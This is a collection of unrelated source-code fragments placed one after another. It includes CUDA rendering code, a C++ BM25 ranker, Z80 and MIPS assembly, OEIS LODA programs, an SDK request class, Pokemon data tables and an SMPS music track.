m_fusion_map_buffers.mapToCuda( maps.warp_vertex_map, maps.warp_normal_map, maps.index_map, maps.color_time_map, stream ); } void surfelwarp::Renderer::UnmapFusionMapsFromCuda(cudaStream_t stream) { m_fusion_map_buffers.unmapFromCuda(stream); } /* The texture access of solver maps */ void surfelwarp::Renderer::MapSolverMapsToCuda(surfelwarp::Renderer::SolverMaps &maps, cudaStream_t stream) { m_solver_map_buffers.mapToCuda( maps.reference_vertex_map, maps.reference_normal_map, maps.warp_vertex_map, maps.warp_normal_map, maps.index_map, maps.normalized_rgb_map, stream ); } void surfelwarp::Renderer::UnmapSolverMapsFromCuda(cudaStream_t stream) { m_solver_map_buffers.unmapFromCuda(stream); }
#pragma once #include <cmath> #include <memory> #include <vector> namespace ds2i { // DO NOT permute the ordering of these. enum ranker_identifier { BM25, // = 1 LMDS, // = 2 UNKNOWN // Can change }; // Map a string to a ranker identifier ranker_identifier get_ranker_id(std::string ranker_name) { if (ranker_name == "BM25") { return ranker_identifier::BM25; } else if (ranker_name == "LMDS") { return ranker_identifier::LMDS; } else { return ranker_identifier::UNKNOWN; } } struct doc_scorer { double average_doc_len; double num_docs; double total_terms_in_collection; doc_scorer() {} doc_scorer(double av_len, double n_doc, double t_term) : average_doc_len(av_len) , num_docs(n_doc) , total_terms_in_collection(t_term) { std::cerr << "total terms is " << total_terms_in_collection << std::endl; std::cerr << "average doc length is " << average_doc_len << std::endl; std::cerr << "no. docs is " << num_docs << std::endl; } // If we need to init after construction void init(double av_len, double n_doc, double t_term) { average_doc_len = av_len; num_docs = n_doc; total_terms_in_collection = t_term; } // MUST implement virtual double norm_len(const double) const = 0; virtual double doc_term_weight(const uint64_t, const double, const uint64_t) const = 0; virtual double query_term_weight(const uint64_t, const uint64_t) const = 0; virtual std::string name() const = 0; virtual ranker_identifier id() const = 0; virtual double calculate_document_weight(const uint32_t) const = 0; virtual ~doc_scorer() {} // Avoids memory leaks (I think) }; struct bm25 : public doc_scorer { static constexpr double b = 0.4; static constexpr double k1 = 0.9; static constexpr double epsilon_score = 1.0E-6; bm25() {} bm25(double av_len, double n_doc, double t_term) : doc_scorer(av_len, n_doc, t_term) { } double norm_len(const double doc_len) const { return doc_len / average_doc_len; } double doc_term_weight(const uint64_t f_dt, const double norm_doclen, const uint64_t) const { double f = (double)f_dt; return f / (f + k1 * (1.0f - b + b * norm_doclen)); } double query_term_weight(const uint64_t f_qt, const uint64_t f_t) const { double f = (double)f_qt; double fdf = (double)f_t; double idf = std::log((double(num_docs) - fdf + 0.5f) / (fdf + 0.5f)); return f * std::max(epsilon_score, idf) * (1.0f + k1); } std::string name() const { return "BM25"; } ranker_identifier id() const { return ranker_identifier::BM25; } double calculate_document_weight(const uint32_t) const { return 0.0f; } }; constexpr double bm25::epsilon_score; struct lmds : public doc_scorer { static constexpr double MU = 2500; // Smoothing lmds () {} lmds(double av_len, double n_doc, double t_term) : doc_scorer(av_len, n_doc, t_term) { } double norm_len(const double doc_len) const { return doc_len; } double doc_term_weight(const uint64_t f_dt, const double norm_len, const uint64_t F_t) const { (void) norm_len; // Silence warning return std::log( (double(f_dt)/MU) * (total_terms_in_collection/F_t) + 1); } double query_term_weight(const uint64_t, const uint64_t) const { return 1.0f; } std::string name() const { return "LMDS"; } ranker_identifier id() const { return ranker_identifier::LMDS; } // LMDS specific document weight double calculate_document_weight(const uint32_t doc_len) const { return std::log(MU/(MU + double(doc_len))); } }; // Builds the appropriate ranker based on input params std::unique_ptr<doc_scorer> build_ranker(double av_doclen, double num_docs, double no_terms, ranker_identifier r_id) { std::unique_ptr<doc_scorer> ranker; if (r_id == ranker_identifier::BM25) { ranker = std::unique_ptr<doc_scorer>(new bm25(av_doclen, num_docs, no_terms)); } else if (r_id == ranker_identifier::LMDS) { ranker = std::unique_ptr<doc_scorer>(new lmds(av_doclen, num_docs, no_terms)); } else { std::cerr << "Cannot instantiate the ranker" << std::endl; exit(EXIT_FAILURE); } return ranker; } // Builds the empty ranker based on input params std::unique_ptr<doc_scorer> build_ranker(ranker_identifier r_id) { std::unique_ptr<doc_scorer> ranker; if (r_id == ranker_identifier::BM25) { ranker = std::unique_ptr<doc_scorer>(new bm25); } else if (r_id == ranker_identifier::LMDS) { ranker = std::unique_ptr<doc_scorer>(new lmds); } else { std::cerr << "Cannot instantiate the ranker" << std::endl; exit(EXIT_FAILURE); } return ranker; } } //namespace
;; (c) Copyright Kevin Thacker 2015-2016 ;; This code is part of the Arnold emulator distribution. ;; This code is free to distribute without modification ;; this copyright header must be retained. org &8000 km_wait_char equ &bb06 txt_output equ &bb5a scr_set_mode equ &bc0e ;; set colour with bit 5 set start: ld bc,1 call scr_set_mode ld a,2 call scr_set_mode ld hl,message call display_msg call km_wait_char ld a,0 call scr_set_mode ld hl,pen_colour_msg call display_msg di ld hl,&c9fb ld (&0038),hl ei l1: ld b,&f5 l2: in a,(c) rra jr nc,l2 ld bc,&7f40 out (c),c halt halt halt ;; pen 0 ld bc,&7f00 out (c),c ;; set grey ld bc,&7f43 out (c),c halt ld bc,&7f40 out (c),c halt ;; select pen 1 ld bc,&7f01 out (c),c ;; if this works, we go back to pen 0 ld bc,&7f00+%00100000 out (c),c ld bc,&7f43 out (c),c halt ld bc,&7f40 out (c),c jp l1 display_msg: ld a,(hl) cp '$' ret z inc hl call txt_output jr display_msg pen_colour_msg: defb 31,1,4 defb "Bit 5=0" defb 31,1,8 defb 14,0," " defb 14,1," " defb 14,2," " defb 14,3," " defb 14,4," " defb 14,5," " defb 14,6," " defb 14,7," " defb 14,8," " defb 14,9," " defb 14,10," " defb 14,11," " defb 14,12," " defb 14,13," " defb 14,14," " defb 14,15," " defb 31,1,17 defb "Bit 5=1" defb 31,1,20 defb 14,0," " defb 14,1," " defb 14,2," " defb 14,3," " defb 14,4," " defb 14,5," " defb 14,6," " defb 14,7," " defb 14,8," " defb 14,9," " defb 14,10," " defb 14,11," " defb 14,12," " defb 14,13," " defb 14,14," " defb 14,15," " defb '$' message: defb "This is a visual test.",13,10,13,10 defb "This shows bit 5 is ignored when setting the pen number.",13,10 defb "'Palette pointer register' (bit 7=0, bit 6=0, port &7fxx).",13,10,13,10 defb "This test sets pen 0 to show two yellow bars with grey between them",13,10,13,10 defb "Top bar has bit 5 of value set to 0. Bottom bar has bit 5 set to 1 ",13,10 defb "of value and both show the same.",13,10,13,10 defb "No other pens should change",13,10,13,10 defb "This test does the same on CPC and Plus",13,10,13,10 defb "Press a key to start",'$' end start
; int puts_unlocked(const char *s) SECTION code_clib SECTION code_stdio PUBLIC _puts_unlocked EXTERN _puts_unlocked_fastcall _puts_unlocked: pop af pop hl push hl push af jp _puts_unlocked_fastcall
# BUBBLE SORT .data richiesta: .asciiz "inserire la lunghezza del vettore,poi i valori numerici\n" vettore: .word 0:100 len: .word 0 .text li $v0,4 la $a0,richiesta syscall li $v0,5 syscall sw $v0,len lw $s1,len li $a0,0 riempi: beq $s0,$s1,main li $v0,5 syscall sw $v0,vettore($a0) addi $a0,$a0,4 addi $s0,$s0,1 j riempi main: subi $s2,$s1,1 jal bubblesort stampa: bge $a3,$s1,fine lw $a2,vettore($a1) li $v0,1 move $a0,$a2 syscall addi $a1,$a1,4 addi $a3,$a3,1 li $v0,11 li $a0,' ' syscall j stampa fine: li $v0,10 syscall bubblesort: beq $t0,$s1,JR for: beq $t2,$s2,endFor sll $t3,$t2,2 addi $t4,$t2,1 sll $t5,$t4,2 lw $t6,vettore($t3) lw $t7,vettore($t5) bgt $t6,$t7,cambio addi $t2,$t2,1 j for cambio: move $t8,$t6 sw $t7,vettore($t3) sw $t8,vettore($t5) addi $t2,$t2,1 j for endFor: li $t2,0 addi $t0,$t0,1 j bubblesort JR: jr $ra
; A328778: Number of indecomposable closed walks of length 2n along the edges of a cube based at a vertex. ; 1,3,12,84,588,4116,28812,201684,1411788,9882516,69177612,484243284,3389702988,23727920916,166095446412,1162668124884,8138676874188,56970738119316,398795166835212,2791566167846484,19540963174925388,136786742224477716,957507195571344012,6702550368999408084,46917852582995856588,328424968080970996116,2298974776566796972812,16092823435967578809684,112649764051773051667788,788548348362411361674516,5519838438536879531721612,38638869069758156722051284,270472083488307097054358988 mov $13,$0 mov $15,2 lpb $15 sub $15,1 add $0,$15 sub $0,1 mov $3,7 pow $3,$0 div $3,7 mul $3,2 add $3,1 add $5,6 mov $6,7 mov $7,7 gcd $7,$5 lpb $2,4 div $3,2 mul $3,$6 lpe add $3,6 add $7,4 sub $3,$7 mov $1,$3 mov $16,$15 lpb $16 mov $14,$1 sub $16,1 lpe lpe lpb $13 mov $13,0 sub $14,$1 lpe mov $0,$14
; A315427: Coordination sequence Gal.5.133.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,11,15,21,27,33,37,42,48,54,59,63,69,75,81,85,90,96,102,107,111,117,123,129,133,138,144,150,155,159,165,171,177,181,186,192,198,203,207,213,219,225,229,234,240,246,251,255,261 mov $5,$0 mul $0,2 add $0,6 mov $3,3 mov $4,2 lpb $0 mov $2,$0 sub $2,4 add $3,6 add $4,6 trn $2,$4 add $2,$3 mov $0,$2 lpe sub $0,6 trn $0,1 lpb $5 add $0,4 sub $5,1 lpe add $0,1
// // Copyright 2014, 2015 Razer Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #include "OSVRPrivatePCH.h" #include "OSVRInterfaceCollection.h" using namespace std::placeholders; OSVRInterfaceCollection::OSVRInterfaceCollection(OSVR_ClientContext osvrClientContext) { this->osvrClientContext = osvrClientContext; AddDefaultInterfaces(); } void OSVRInterfaceCollection::AddDefaultInterfaces() { // ie) // /me/hands/left - position / orientation(pose) tracking data from left Razer Hydra controller. // /me/hands/right - pose from right Hydra controller // /me/hands - pose from both left and right // /me/head - orientation from YEI 3Space (HMD)tracker FName ValidPaths[] = { "/me/hands/left", "/me/hands/right", "/me/hands", "/me/head", "/controller/left/1", "/controller/left/2", "/controller/left/3", "/controller/left/4", "/controller/left/bumper", "/controller/left/joystick/button", "/controller/left/middle", "/controller/right/1", "/controller/right/2", "/controller/right/3", "/controller/right/4", "/controller/right/bumper", "/controller/right/joystick/button", "/controller/right/middle"}; for (int i = 0; i < sizeof(ValidPaths) / sizeof(FName); ++i) { GetInterfaceImpl(ValidPaths[i], true); } } void OSVRInterfaceCollection::ClearAllInterfaces() { Callbacks.Empty(); Interfaces.Empty(); } OSVRInterface* OSVRInterfaceCollection::GetInterfaceImpl(const FName& Name, bool CreateIfNotExist) { for (auto& Interface : Interfaces) { if (Interface->GetName() == Name) return Interface.Get(); } if (CreateIfNotExist) { auto Interface = MakeShareable(new OSVRInterface()); if (Interface.Object->Init(osvrClientContext, Name)) { Interface.Object->OnStateChangedCallback(std::bind(&OSVRInterfaceCollection::PropagateCallbacks, this, _1, _2)); Interfaces.Add(Interface); return Interface.Object; } } return nullptr; } void OSVRInterfaceCollection::PropagateCallbacks(OSVRInterface* Interface, uint32 Caps) { for (auto Callback : Callbacks) { if (Callback != nullptr) Callback(Interface, Caps); } } OSVRInterfaceCollection::RegistrationToken OSVRInterfaceCollection::RegisterOnStateChangedCallback(OSVRInterface::StateChangedCallback Function) { return RegistrationToken(Callbacks.Add(Function)); } void OSVRInterfaceCollection::DeregisterOnStateChangedCallback(OSVRInterfaceCollection::RegistrationToken RegistrationToken) { if (RegistrationToken.Token != RegistrationToken::INVALID_TOKEN) Callbacks[RegistrationToken.Token] = nullptr; }
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/sqlserver/v20180328/model/ModifyDatabaseCDCRequest.h> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> using namespace TencentCloud::Sqlserver::V20180328::Model; using namespace std; ModifyDatabaseCDCRequest::ModifyDatabaseCDCRequest() : m_dBNamesHasBeenSet(false), m_modifyTypeHasBeenSet(false), m_instanceIdHasBeenSet(false) { } string ModifyDatabaseCDCRequest::ToJsonString() const { rapidjson::Document d; d.SetObject(); rapidjson::Document::AllocatorType& allocator = d.GetAllocator(); if (m_dBNamesHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "DBNames"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, rapidjson::Value(rapidjson::kArrayType).Move(), allocator); for (auto itr = m_dBNames.begin(); itr != m_dBNames.end(); ++itr) { d[key.c_str()].PushBack(rapidjson::Value().SetString((*itr).c_str(), allocator), allocator); } } if (m_modifyTypeHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "ModifyType"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, rapidjson::Value(m_modifyType.c_str(), allocator).Move(), allocator); } if (m_instanceIdHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "InstanceId"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, rapidjson::Value(m_instanceId.c_str(), allocator).Move(), allocator); } rapidjson::StringBuffer buffer; rapidjson::Writer<rapidjson::StringBuffer> writer(buffer); d.Accept(writer); return buffer.GetString(); } vector<string> ModifyDatabaseCDCRequest::GetDBNames() const { return m_dBNames; } void ModifyDatabaseCDCRequest::SetDBNames(const vector<string>& _dBNames) { m_dBNames = _dBNames; m_dBNamesHasBeenSet = true; } bool ModifyDatabaseCDCRequest::DBNamesHasBeenSet() const { return m_dBNamesHasBeenSet; } string ModifyDatabaseCDCRequest::GetModifyType() const { return m_modifyType; } void ModifyDatabaseCDCRequest::SetModifyType(const string& _modifyType) { m_modifyType = _modifyType; m_modifyTypeHasBeenSet = true; } bool ModifyDatabaseCDCRequest::ModifyTypeHasBeenSet() const { return m_modifyTypeHasBeenSet; } string ModifyDatabaseCDCRequest::GetInstanceId() const { return m_instanceId; } void ModifyDatabaseCDCRequest::SetInstanceId(const string& _instanceId) { m_instanceId = _instanceId; m_instanceIdHasBeenSet = true; } bool ModifyDatabaseCDCRequest::InstanceIdHasBeenSet() const { return m_instanceIdHasBeenSet; }
db 0 ; species ID placeholder db 80, 70, 65, 100, 80, 120 ; hp atk def spd sat sdf db WATER, POISON ; type db 60 ; catch rate db 205 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/tentacruel/front.dimensions" db GROWTH_SLOW ; growth rate dn EGG_WATER_3, EGG_WATER_3 ; egg groups db 70 ; happiness ; tm/hm learnset tmhm WATER_PULSE, TOXIC, HAIL, HIDDEN_POWER, ICE_BEAM, BLIZZARD, HYPER_BEAM, PROTECT, RAIN_DANCE, GIGA_DRAIN, FRUSTRATION, RETURN, DOUBLE_TEAM, SLUDGE_BOMB, FACADE, SECRET_POWER, REST, ATTRACT, THIEF, BRINE, ENDURE, PAYBACK, GIGA_IMPACT, SWORDS_DANCE, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, POISON_JAB, SWAGGER, SUBSTITUTE, CUT, SURF, WATERFALL, DIVE, ICY_WIND, KNOCK_OFF, SNORE ; end
//============================================================================= /** * @file any_op_cs.cpp * * $Id: any_op_cs.cpp 95536 2012-02-20 12:34:23Z johnnyw $ * * Visitor generating code for Any operators for valueboxes in the stubs * file. * * * @author Gary Maxey */ //============================================================================= #include "valuebox.h" // *************************************************************************** // Valuebox visitor for generating Any operator declarations in the client // stubs file // *************************************************************************** be_visitor_valuebox_any_op_cs::be_visitor_valuebox_any_op_cs ( be_visitor_context *ctx ) : be_visitor_valuebox (ctx) { } be_visitor_valuebox_any_op_cs::~be_visitor_valuebox_any_op_cs (void) { } int be_visitor_valuebox_any_op_cs::visit_valuebox (be_valuebox *node) { if (node->cli_stub_any_op_gen () || node->imported () || node->is_local ()) { return 0; } TAO_OutStream *os = this->ctx_->stream (); // Generate the Any <<= and >>= operator declarations *os << be_nl_2 << "// TAO_IDL - Generated from" << be_nl << "// " << __FILE__ << ":" << __LINE__; *os << be_global->core_versioning_begin () << be_nl; // All template specializations must be generated before the instantiations // in the operators. *os << be_nl_2 << "namespace TAO" << be_nl << "{" << be_idt_nl << "template<>" << be_nl << "::CORBA::Boolean" << be_nl << "Any_Impl_T<" << node->name () << ">::to_value (" << be_idt << be_idt_nl << "::CORBA::ValueBase *&_tao_elem" << be_uidt_nl << ") const" << be_uidt_nl << "{" << be_idt_nl << "::CORBA::add_ref (this->value_);" << be_nl << "_tao_elem = this->value_;" << be_nl << "return true;" << be_uidt_nl << "}" << be_uidt_nl << "}" << be_nl_2; *os << be_global->core_versioning_end () << be_nl; be_module *module = 0; if (node->is_nested () && node->defined_in ()->scope_node_type () == AST_Decl::NT_module) { module = be_module::narrow_from_scope (node->defined_in ()); if (!module) { ACE_ERROR_RETURN ((LM_ERROR, "be_visitor_valuebox_any_op_cs::" "visit_valuebox - " "Error parsing nested name\n"), -1); } // Some compilers handle "any" operators in a namespace corresponding // to their module, others do not. *os << "\n\n#if defined (ACE_ANY_OPS_USE_NAMESPACE)\n"; be_util::gen_nested_namespace_begin (os, module); // emit nested variation of any operators *os << "// Copying insertion." << be_nl << "void" << be_nl << "operator<<= (" << be_idt << be_idt_nl << "::CORBA::Any &_tao_any," << be_nl << node->local_name () << " *_tao_elem)" << be_uidt << be_uidt_nl << "{" << be_idt_nl << "::CORBA::add_ref (_tao_elem);" << be_nl << "_tao_any <<= &_tao_elem;" << be_uidt_nl << "}" << be_nl_2; *os << "// Non-copying insertion." << be_nl << "void" << be_nl << "operator<<= (" << be_idt << be_idt_nl << "::CORBA::Any &_tao_any," << be_nl << node->local_name () << " **_tao_elem)" << be_uidt << be_uidt_nl << "{" << be_idt_nl << "TAO::Any_Impl_T<" << node->local_name () << ">::insert (" << be_idt << be_idt_nl << "_tao_any," << be_nl << node->local_name () << "::_tao_any_destructor," << be_nl << node->tc_name ()->last_component () << "," << be_nl << "*_tao_elem);" << be_uidt << be_uidt << be_uidt_nl << "}" << be_nl_2; *os << "::CORBA::Boolean" << be_nl << "operator>>= (" << be_idt << be_idt_nl << "const ::CORBA::Any &_tao_any," << be_nl << node->local_name () << " *&_tao_elem" << be_uidt_nl << ")" << be_uidt_nl << "{" << be_idt_nl << "return" << be_idt_nl << "TAO::Any_Impl_T<" << node->local_name () << ">::extract (" << be_idt << be_idt_nl << "_tao_any," << be_nl << node->local_name () << "::_tao_any_destructor," << be_nl << node->tc_name ()->last_component () << "," << be_nl << "_tao_elem" << be_uidt_nl << ");" << be_uidt << be_uidt << be_uidt_nl << "}" << be_nl_2; be_util::gen_nested_namespace_end (os, module); // Emit #else. *os << be_nl_2 << "#else\n\n"; } *os << be_global->core_versioning_begin () << be_nl; *os << "// Copying insertion." << be_nl << "void" << be_nl << "operator<<= (" << be_idt << be_idt_nl << "::CORBA::Any &_tao_any," << be_nl << node->full_name () << " *_tao_elem" << be_uidt_nl << ")" << be_uidt_nl << "{" << be_idt_nl << "::CORBA::add_ref (_tao_elem);" << be_nl << "_tao_any <<= &_tao_elem;" << be_uidt_nl << "}" << be_nl_2; *os << "// Non-copying insertion." << be_nl << "void" << be_nl << "operator<<= (" << be_idt << be_idt_nl << "::CORBA::Any &_tao_any," << be_nl << node->full_name () << " **_tao_elem" << be_uidt_nl << ")" << be_uidt_nl << "{" << be_idt_nl << "TAO::Any_Impl_T<" << node->name () << ">::insert (" << be_idt << be_idt_nl << "_tao_any," << be_nl << node->name () << "::_tao_any_destructor," << be_nl << node->tc_name () << "," << be_nl << "*_tao_elem" << be_uidt_nl << ");" << be_uidt << be_uidt_nl << "}" << be_nl_2; *os << "::CORBA::Boolean" << be_nl << "operator>>= (" << be_idt << be_idt_nl << "const ::CORBA::Any &_tao_any," << be_nl << node->full_name () << " *&_tao_elem" << be_uidt_nl << ")" << be_uidt_nl << "{" << be_idt_nl << "return" << be_idt_nl << "TAO::Any_Impl_T<" << node->name () << ">::extract (" << be_idt << be_idt_nl << "_tao_any," << be_nl << node->name () << "::_tao_any_destructor," << be_nl << node->tc_name () << "," << be_nl << "_tao_elem" << be_uidt_nl << ");" << be_uidt << be_uidt << be_uidt_nl << "}" << be_nl_2; *os << be_global->core_versioning_end () << be_nl; if (module != 0) { *os << "\n\n#endif"; } node->cli_stub_any_op_gen (1); return 0; }
db 0 ; species ID placeholder db 190, 33, 58, 33, 33, 58 ; hp atk def spd sat sdf db PSYCHIC, PSYCHIC ; type db 45 ; catch rate db 177 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/wobbuffet/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_INDETERMINATE, EGG_INDETERMINATE ; egg groups ; tm/hm learnset tmhm ; end
; A104473: a(n) = binomial(n+2,2)*binomial(n+6,2). ; 15,63,168,360,675,1155,1848,2808,4095,5775,7920,10608,13923,17955,22800,28560,35343,43263,52440,63000,75075,88803,104328,121800,141375,163215,187488,214368,244035,276675,312480,351648,394383,440895,491400,546120,605283,669123,737880,811800,891135,976143,1067088,1164240,1267875,1378275,1495728,1620528,1752975,1893375,2042040,2199288,2365443,2540835,2725800,2920680,3125823,3341583,3568320,3806400,4056195,4318083,4592448,4879680,5180175,5494335,5822568,6165288,6522915,6895875,7284600,7689528,8111103,8549775,9006000,9480240,9972963,10484643,11015760,11566800,12138255,12730623,13344408,13980120,14638275,15319395,16024008,16752648,17505855,18284175,19088160,19918368,20775363,21659715,22572000,23512800,24482703,25482303,26512200,27573000,28665315,29789763,30946968,32137560,33362175,34621455,35916048,37246608,38613795,40018275,41460720,42941808,44462223,46022655,47623800,49266360,50951043,52678563,54449640,56265000,58125375,60031503,61984128,63984000,66031875,68128515,70274688,72471168,74718735,77018175,79370280,81775848,84235683,86750595,89321400,91948920,94633983,97377423,100180080,103042800,105966435,108951843,111999888,115111440,118287375,121528575,124835928,128210328,131652675,135163875,138744840,142396488,146119743,149915535,153784800,157728480,161747523,165842883,170015520,174266400,178596495,183006783,187498248,192071880,196728675,201469635,206295768,211208088,216207615,221295375,226472400,231739728,237098403,242549475,248094000,253733040,259467663,265298943,271227960,277255800,283383555,289612323,295943208,302377320,308915775,315559695,322310208,329168448,336135555,343212675,350400960,357701568,365115663,372644415,380289000,388050600,395930403,403929603,412049400,420291000,428655615,437144463,445758768,454499760,463368675,472366755,481495248,490755408,500148495,509675775,519338520,529138008,539075523,549152355,559369800,569729160,580231743,590878863,601671840,612612000,623700675,634939203,646328928,657871200,669567375,681418815,693426888,705592968,717918435,730404675,743053080,755865048,768841983,781985295,795296400,808776720,822427683,836250723,850247280,864418800,878766735,893292543,907997688,922883640,937951875,953203875,968641128,984265128,1000077375,1016079375 add $0,4 bin $0,2 sub $0,1 mov $1,$0 sub $0,2 mul $0,$1 mov $1,$0
#!/usr/local/bin/zasm -o original/ #target ram ; NAME START SIZE FLAGS #code KERNEL, 0x0008, 0xF0 head MACRO #name DB #name ENDM DB 'U<' DB 'U>' DB '<U' DB '>U' DB '><' DB '<>' DB '"U' head 'U<' head 'U>' head '<U' head '>U' head '><' head '<>' head '"U' #end
; A285345: Fixed point of the morphism 0 -> 10, 1 -> 1100. ; 1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0 add $0,1 mov $2,$0 div $0,2 add $0,$2 seq $0,284907 ; Positions of 1 in A284905; complement of A284906. mod $0,2
/* * Copyright 2010 by Adam Mayer <adam@makerbot.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ #ifndef VERSION_HH_ #define VERSION_HH_ #include <stdint.h> #ifndef VERSION #error "Version not defined! Please define the version number for this build." #else const uint16_t firmware_version = VERSION; #endif #ifndef VERSION_INTERNAL const uint16_t internal_version = 0; #else const uint16_t internal_version = VERSION_INTERNAL; #endif #ifndef BUILD_NAME const char* const build_name = "Makerbot"; #else const char* const build_name = BUILD_NAME; #endif #endif // VERSION_HH_
Snd_Results_Header: smpsHeaderStartSong 3 smpsHeaderVoice Snd_Results_Voices smpsHeaderChan $06, $03 smpsHeaderTempo $01, $38 smpsHeaderDAC Snd_Results_DAC smpsHeaderFM Snd_Results_FM1, $0C, $12 smpsHeaderFM Snd_Results_FM2, $0C, $16 smpsHeaderFM Snd_Results_FM3, $0C, $16 smpsHeaderFM Snd_Results_FM4, $0C, $16 smpsHeaderFM Snd_Results_FM5, $0C, $1A smpsHeaderPSG Snd_Results_PSG1, $00, $03, $00, sTone_0C smpsHeaderPSG Snd_Results_PSG2, $00, $03, $00, sTone_0C smpsHeaderPSG Snd_Results_PSG3, $00, $05, $00, sTone_0C ; DAC Data Snd_Results_DAC: dc.b dSnareS3, $06, dKickS3, dKickS3, dSnareS3, dKickS3, dKickS3, dSnareS3, dKickS3, dSnareS3, dKickS3, dKickS3 dc.b dSnareS3, dKickS3, dKickS3, dSnareS3, dKickS3, $01, nRst, dKickS3, dKickS3, nRst, dKickS3, dHighTom dc.b $06, dMidTomS3, dLowTomS3, dHighTom, dMidTomS3, dLowTomS3, dHighTom, dMidTomS3, dLowTomS3, dSnareS3 smpsStop ; FM1 Data Snd_Results_FM1: smpsSetvoice $15 dc.b nG0, $05, nRst, $01, nG1, $05, nRst, $01, nG0, $05, nRst, $01 dc.b nD1, $05, nRst, $07, nG1, $05, nRst, $01, nG0, $05, nRst, $07 dc.b nA0, $05, nRst, $01, nA1, $05, nRst, $01, nA0, $05, nRst, $01 dc.b nE1, $05, nRst, $07, nA1, $05, nRst, $01, nA0, $05, nRst, $07 dc.b nD1, $05, nRst, $01, nD2, $05, nRst, $01, nD1, $05, nRst, $01 dc.b nE1, $05, nRst, $01, nE2, $05, nRst, $01, nE1, $05, nRst, $01 dc.b nG1, $05, nRst, $01, nG2, $05, nRst, $01, nG1, $05, nRst, $01 dc.b nA1, $5F, nRst, $01 smpsStop ; FM2 Data Snd_Results_FM2: smpsAlterNote $03 smpsSetvoice $08 Snd_Results_Jump00: dc.b nD3, $06, nD3, nD3, nD3, $07, nRst, $05, nD3, $07, nRst, $05 dc.b nE3, $05, nRst, $07, nE3, $05, nRst, $07, nE3, $07, nRst, $05 dc.b nE3, $11, nRst, $01, nG3, $05, nRst, $0D, nA3, $05, nRst, $0D dc.b nC4, $11, nRst, $01, nD4, $5F, nRst, $01 smpsStop ; FM3 Data Snd_Results_FM3: smpsAlterNote $FF smpsSetvoice $01 dc.b nC3, $06, nC3, nC3, nB2, nRst, nB2, nRst, nD3, nRst, $06, nD3 dc.b $06, nRst, $06, nCs3, $06, nRst, nCs3, $11, nRst, $01, nE3, $05 dc.b nRst, $0D, nFs3, $05, nRst, $0D, nA3, $11, nRst, $01, nB3, $5F dc.b nRst, $01 smpsStop ; FM4 Data Snd_Results_FM4: smpsAlterNote $01 smpsSetvoice $01 Snd_Results_Jump01: dc.b nG2, $06, nG2, nG2, nG2, nRst, nG2, nRst, nA2, nRst, nA2, $03 dc.b nRst, $09, nA2, $05, nRst, $07, nA2, $11, nRst, $01, nC3, $05 dc.b nRst, $0D, nD3, $05, nRst, $0D, nF3, $11, nRst, $01, nG3, $5F dc.b nRst, $01 smpsStop ; FM5 Data Snd_Results_FM5: smpsAlterNote $FD ;smpsPSGvoice sTone_03 ; Does nothing. S3K's driver just ignores it. dc.b nRst, $01 smpsSetvoice $01 smpsJump Snd_Results_Jump00 ; PSG1 Data Snd_Results_PSG1: smpsAlterNote $01 smpsPSGvoice sTone_03 smpsJump Snd_Results_Jump00 ; PSG2 Data Snd_Results_PSG2: smpsAlterNote $FF smpsSetvoice sTone_01 smpsPSGvoice sTone_03 smpsJump Snd_Results_Jump01 ; PSG3 Data Snd_Results_PSG3: smpsPSGvoice sTone_02 smpsPSGform $E7 dc.b nMaxPSG2, $06, nMaxPSG2, nMaxPSG2, nMaxPSG2, $05, nRst, $07, nMaxPSG2, $05, nRst, $07 dc.b nMaxPSG2, $03, nRst, $09, nMaxPSG2, $03, nRst, $09, nMaxPSG2, $05, nRst, $07 dc.b nMaxPSG2, $11, nRst, $01, nMaxPSG2, $05, nRst, $0D, nMaxPSG2, $05, nRst, $0D dc.b nMaxPSG2, $11, nRst, $01, nMaxPSG2, $5F, nRst, $01 smpsStop Snd_Results_Voices: ; Voice $00 ; $3C ; $01, $00, $00, $00, $1F, $1F, $15, $1F, $11, $0D, $12, $05 